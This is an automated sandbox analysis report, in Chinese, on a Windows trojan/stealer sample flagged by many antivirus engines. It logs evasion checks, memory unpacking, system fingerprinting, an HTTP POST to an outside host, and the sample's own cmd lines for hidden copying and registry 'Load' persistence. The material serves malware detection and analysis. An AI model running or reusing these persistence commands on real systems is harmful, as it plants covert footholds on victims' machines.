19.2
0-day
53 个模型检测该样本为恶意！
重新分析
更多

84783d501b78575f30aa33097f9c7c885542b892512403424fc069b048189e98

24c3c3e947e5d29f8de2f545baaaec8e.exe

分析耗时

101s

最近分析

文件大小

991.5KB
静态报毒 动态报毒 100% 9M0@A4JHGYKG AI SCORE=83 ATTRIBUTE AUTO AZORULT BTNOVQ CONFIDENCE ELDORADO GDSDA GEN2 GENERICRXKO HIGH CONFIDENCE HIGHCONFIDENCE HWMAAR8A IGENT KCLOUD KRYPTIK LOYEETRO MALICIOUS PE MALWARE@#2RKFZDI5F0SVB MSCRYPT NANOCORE PSWTROJ RATX SAVE SCORE SMARTASSEMBLY STATIC AI SUSGEN TSCOPE UNSAFE ZEMSILF 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
McAfee GenericRXKO-JE!24C3C3E947E5 20210328 6.0.6.653
Baidu 20190318 1.0.0.2
Alibaba TrojanSpy:Win32/Loyeetro.0a753e12 20190527 0.3.0.5
Avast Win32:RATX-gen [Trj] 20210328 21.1.5827.0
Tencent Win32.Trojan.Inject.Auto 20210328 1.0.0.1
Kingsoft Win32.PSWTroj.Undef.(kcloud) 20210328 2017.9.26.565
CrowdStrike win/malicious_confidence_100% (W) 20210203 1.0
静态指标
Queries for the computername (9 个事件)
Time & API Arguments Status Return Repeated
1619286400.999125
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619286401.014125
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619286393.99925
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619286394.01425
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619286454.90525
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619286454.90525
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619286454.98325
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619286454.98325
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619286395.23325
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
Checks if process is being debugged by a debugger (5 个事件)
Time & API Arguments Status Return Repeated
1619269227.407727
IsDebuggerPresent
failed 0 0
1619269227.407727
IsDebuggerPresent
failed 0 0
1619286393.139125
IsDebuggerPresent
failed 0 0
1619286393.139125
IsDebuggerPresent
failed 0 0
1619286400.530875
IsDebuggerPresent
failed 0 0
Command line console output was observed (9 个事件)
Time & API Arguments Status Return Repeated
1619286396.171125
WriteConsoleW
buffer: 已复制 1 个文件。
console_handle: 0x00000007
success 1 0
1619286397.85825
WriteConsoleW
buffer: 操作成功完成。
console_handle: 0x00000007
success 1 0
1619286401.2965
WriteConsoleW
buffer: 已复制 1 个文件。
console_handle: 0x00000007
success 1 0
1619286403.421
WriteConsoleW
buffer: 操作成功完成。
console_handle: 0x00000007
success 1 0
1619286407.671375
WriteConsoleW
buffer: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp>
console_handle: 0x00000007
success 1 0
1619286407.671375
WriteConsoleW
buffer: timeout
console_handle: 0x00000007
success 1 0
1619286407.671375
WriteConsoleW
buffer: /t 300
console_handle: 0x00000007
success 1 0
1619286407.999125
WriteConsoleW
buffer: 等待 300
console_handle: 0x00000007
success 1 0
1619286407.999125
WriteConsoleW
buffer: 秒，按一个键继续 ...
console_handle: 0x00000007
success 1 0
Uses Windows APIs to generate a cryptographic key (6 个事件)
Time & API Arguments Status Return Repeated
1619269228.516727
CryptExportKey
crypto_handle: 0x00713da8
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619269228.516727
CryptExportKey
crypto_handle: 0x00713da8
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619269228.547727
CryptExportKey
crypto_handle: 0x00713d68
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619286393.342125
CryptExportKey
crypto_handle: 0x004053a0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619286393.342125
CryptExportKey
crypto_handle: 0x004053a0
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
1619286393.342125
CryptExportKey
crypto_handle: 0x00405360
crypto_export_handle: 0x00000000
buffer: <INVALID POINTER>
blob_type: 6
flags: 0
success 1 0
Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 个事件)
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Tries to locate where the browsers are installed (1 个事件)
registry HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 个事件)
Time & API Arguments Status Return Repeated
1619269227.438727
GlobalMemoryStatusEx
success 1 0
One or more processes crashed (1 个事件)
Time & API Arguments Status Return Repeated
1619286393.452125
__exception__
stacktrace: 
0x771073
0x770239
DllUnregisterServerInternal-0x3e21 clr+0x21db @ 0x73e721db
CoUninitializeEE+0x6862 DllRegisterServerInternal-0xc91e clr+0x24a2a @ 0x73e94a2a
CoUninitializeEE+0x6a04 DllRegisterServerInternal-0xc77c clr+0x24bcc @ 0x73e94bcc
CoUninitializeEE+0x6a39 DllRegisterServerInternal-0xc747 clr+0x24c01 @ 0x73e94c01
CoUninitializeEE+0x6a59 DllRegisterServerInternal-0xc727 clr+0x24c21 @ 0x73e94c21
GetCLRFunction+0xc08 GetMetaDataPublicInterfaceFromInternal-0x8a65 clr+0xece82 @ 0x73f5ce82
GetCLRFunction+0xd16 GetMetaDataPublicInterfaceFromInternal-0x8957 clr+0xecf90 @ 0x73f5cf90
GetCLRFunction+0xb2a GetMetaDataPublicInterfaceFromInternal-0x8b43 clr+0xecda4 @ 0x73f5cda4
GetCLRFunction+0xf1f GetMetaDataPublicInterfaceFromInternal-0x874e clr+0xed199 @ 0x73f5d199
GetCLRFunction+0xe20 GetMetaDataPublicInterfaceFromInternal-0x884d clr+0xed09a @ 0x73f5d09a
_CorExeMain+0x1c SetRuntimeInfo-0x181d clr+0x16af00 @ 0x73fdaf00
_CorExeMain+0x38 _CorExeMain2-0x134 mscoreei+0x55ab @ 0x752655ab
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x754e7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x754e4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77d69ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77d69ea5

registers.esp: 3468548
registers.edi: 0
registers.eax: 0
registers.ebp: 3468588
registers.edx: 38652560
registers.ebx: 0
registers.esi: 38253788
registers.ecx: 0
exception.instruction_r: 8b 50 04 83 c2 01 0f 80 a1 01 00 00 b9 5a 43 c1
exception.instruction: mov edx, dword ptr [eax + 4]
exception.exception_code: 0xc0000005
exception.symbol:
exception.address: 0x77be3e
success 0 0
行为判定
动态指标
One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.
HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 个事件)
suspicious_features POST method with no referer header suspicious_request POST http://ensaenerji.com/mep/index.php
Performs some HTTP requests (1 个事件)
request POST http://ensaenerji.com/mep/index.php
Sends data using the HTTP POST Method (1 个事件)
request POST http://ensaenerji.com/mep/index.php
Allocates read-write-execute memory (usually to unpack itself) (50 out of 153 个事件)
Time & API Arguments Status Return Repeated
1619269226.672727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 262144
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x00240000
success 0 0
1619269226.672727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00240000
success 0 0
1619269227.078727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 1769472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x00e50000
success 0 0
1619269227.078727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00fc0000
success 0 0
1619269227.219727
NtProtectVirtualMemory
process_identifier: 784
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73e71000
success 0 0
1619269227.407727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 1900544
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 8192 (MEM_RESERVE)
base_address: 0x026b0000
success 0 0
1619269227.407727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x02840000
success 0 0
1619269227.407727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x002fa000
success 0 0
1619269227.407727
NtProtectVirtualMemory
process_identifier: 784
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x73e72000
success 0 0
1619269227.407727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x002f2000
success 0 0
1619269227.641727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00302000
success 0 0
1619269227.782727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00325000
success 0 0
1619269227.782727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0032b000
success 0 0
1619269227.782727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00327000
success 0 0
1619269227.860727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00303000
success 0 0
1619269227.875727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00304000
success 0 0
1619269227.875727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0030c000
success 0 0
1619269227.907727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00860000
success 0 0
1619269228.078727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00305000
success 0 0
1619269228.110727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00306000
success 0 0
1619269228.157727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00307000
success 0 0
1619269228.172727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00308000
success 0 0
1619269228.188727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00861000
success 0 0
1619269228.235727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00862000
success 0 0
1619269228.297727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00309000
success 0 0
1619269228.313727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x008bf000
success 0 0
1619269228.313727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x008b0000
success 0 0
1619269228.344727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x008e0000
success 0 0
1619269228.360727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 12288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00863000
success 0 0
1619269228.391727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00866000
success 0 0
1619269228.407727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00316000
success 0 0
1619269228.407727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x008e1000
success 0 0
1619269228.469727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0031a000
success 0 0
1619269228.469727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00317000
success 0 0
1619269228.500727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00867000
success 0 0
1619269228.516727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00868000
success 0 0
1619269228.563727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x02841000
success 0 0
1619269228.563727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x02842000
success 0 0
1619269228.578727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 12288
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x02843000
success 0 0
1619269228.578727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x02846000
success 0 0
1619269228.578727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 20480
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0284a000
success 0 0
1619269228.594727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x008e2000
success 0 0
1619269228.625727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x00869000
success 0 0
1619269228.672727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x008e3000
success 0 0
1619269228.672727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0030d000
success 0 0
1619269228.672727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x008e4000
success 0 0
1619269228.797727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x008e5000
success 0 0
1619269228.844727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0086a000
success 0 0
1619269228.969727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 16384
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x0284f000
success 0 0
1619269228.969727
NtAllocateVirtualMemory
process_identifier: 784
region_size: 69632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
allocation_type: 4096 (MEM_COMMIT)
base_address: 0x02853000
success 0 0
Checks whether any human activity is being performed by constantly checking whether the foreground window changed
Creates executable files on the filesystem (4 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\FolderN\name.exe.bat
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\File.exe
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\tmp.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\FolderN\name.exe.lnk
Creates hidden or system file (2 个事件)
Time & API Arguments Status Return Repeated
1619269236.797727
SetFileAttributesW
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\FolderN
filepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\FolderN
success 1 0
1619286395.155125
SetFileAttributesW
file_attributes: 2 (FILE_ATTRIBUTE_HIDDEN)
filepath_r: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\FolderN
filepath: C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\FolderN
success 1 0
Creates a shortcut to an executable file (1 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\FolderN\name.exe.lnk
Creates a suspicious process (8 个事件)
cmdline cmd.exe /c copy "C:/Users/Administrator.Oskar-PC/AppData/Local/Temp/File.exe" "%temp%\FolderN\name.exe" /Y
cmdline "C:\Windows\System32\cmd.exe" /c copy "C:/Users/Administrator.Oskar-PC/AppData/Local/Temp/24c3c3e947e5d29f8de2f545baaaec8e.exe" "%temp%\FolderN\name.exe" /Y
cmdline cmd.exe /c echo [zoneTransfer]ZoneID = 2 > %temp%\FolderN\name.exe:Zone.Identifier
cmdline cmd.exe /c copy "C:/Users/Administrator.Oskar-PC/AppData/Local/Temp/24c3c3e947e5d29f8de2f545baaaec8e.exe" "%temp%\FolderN\name.exe" /Y
cmdline "C:\Windows\System32\cmd.exe" /c copy "C:/Users/Administrator.Oskar-PC/AppData/Local/Temp/File.exe" "%temp%\FolderN\name.exe" /Y
cmdline "C:\Windows\System32\cmd.exe" /c echo [zoneTransfer]ZoneID = 2 > %temp%\FolderN\name.exe:Zone.Identifier
cmdline "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%temp%\FolderN\name.exe.lnk" /f
cmdline cmd.exe /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%temp%\FolderN\name.exe.lnk" /f
Drops a binary and executes it (3 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\File.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\svhost.exe
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\tmp.exe
Drops an executable to the user AppData folder (3 个事件)
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\svhost.exe
file C:\Users\Administrator.Oskar-PC\AppData\Local\Temp\File.exe
file C:\Users\Administrator.Oskar-PC\AppData\Roaming\tmp.exe
A process created a hidden window (6 个事件)
Time & API Arguments Status Return Repeated
1619269237.407727
ShellExecuteExW
parameters: /c copy "C:/Users/Administrator.Oskar-PC/AppData/Local/Temp/24c3c3e947e5d29f8de2f545baaaec8e.exe" "%temp%\FolderN\name.exe" /Y
filepath: cmd.exe
filepath_r: cmd.exe
show_type: 0
success 1 0
1619269238.891727
ShellExecuteExW
parameters: /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%temp%\FolderN\name.exe.lnk" /f
filepath: cmd.exe
filepath_r: cmd.exe
show_type: 0
success 1 0
1619269242.828727
ShellExecuteExW
parameters: /c echo [zoneTransfer]ZoneID = 2 > %temp%\FolderN\name.exe:Zone.Identifier
filepath: cmd.exe
filepath_r: cmd.exe
show_type: 0
success 1 0
1619286395.858125
ShellExecuteExW
parameters: /c copy "C:/Users/Administrator.Oskar-PC/AppData/Local/Temp/File.exe" "%temp%\FolderN\name.exe" /Y
filepath: cmd.exe
filepath_r: cmd.exe
show_type: 0
success 1 0
1619286397.186125
ShellExecuteExW
parameters: /c reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /v Load /t REG_SZ /d "%temp%\FolderN\name.exe.lnk" /f
filepath: cmd.exe
filepath_r: cmd.exe
show_type: 0
success 1 0
1619286401.530125
ShellExecuteExW
parameters: /c echo [zoneTransfer]ZoneID = 2 > %temp%\FolderN\name.exe:Zone.Identifier
filepath: cmd.exe
filepath_r: cmd.exe
show_type: 0
success 1 0
Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (9 个事件)
Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)
Time & API Arguments Status Return Repeated
1619286394.46725
GetAdaptersAddresses
flags: 0
family: 0
failed 111 0
The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)
entropy 7.748521104935061 section {'size_of_data': '0x0009c200', 'virtual_address': '0x00002000', 'entropy': 7.748521104935061, 'name': '.text', 'virtual_size': '0x0009c1d8'} description A section with a high entropy has been found
entropy 0.6301715438950555 description Overall entropy of this PE file is high
Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 个事件)
Time & API Arguments Status Return Repeated
1619269228.907727
LookupPrivilegeValueW
system_name:
privilege_name: SeDebugPrivilege
success 1 0
1619286393.436125
LookupPrivilegeValueW
system_name:
privilege_name: SeDebugPrivilege
success 1 0
Queries for potentially installed applications (26 个事件)
Time & API Arguments Status Return Repeated
1619286454.95225
RegOpenKeyExA
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003d4
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003d8
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003dc
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003e0
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
options: 0
success 0 0
1619286454.95225
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003e4
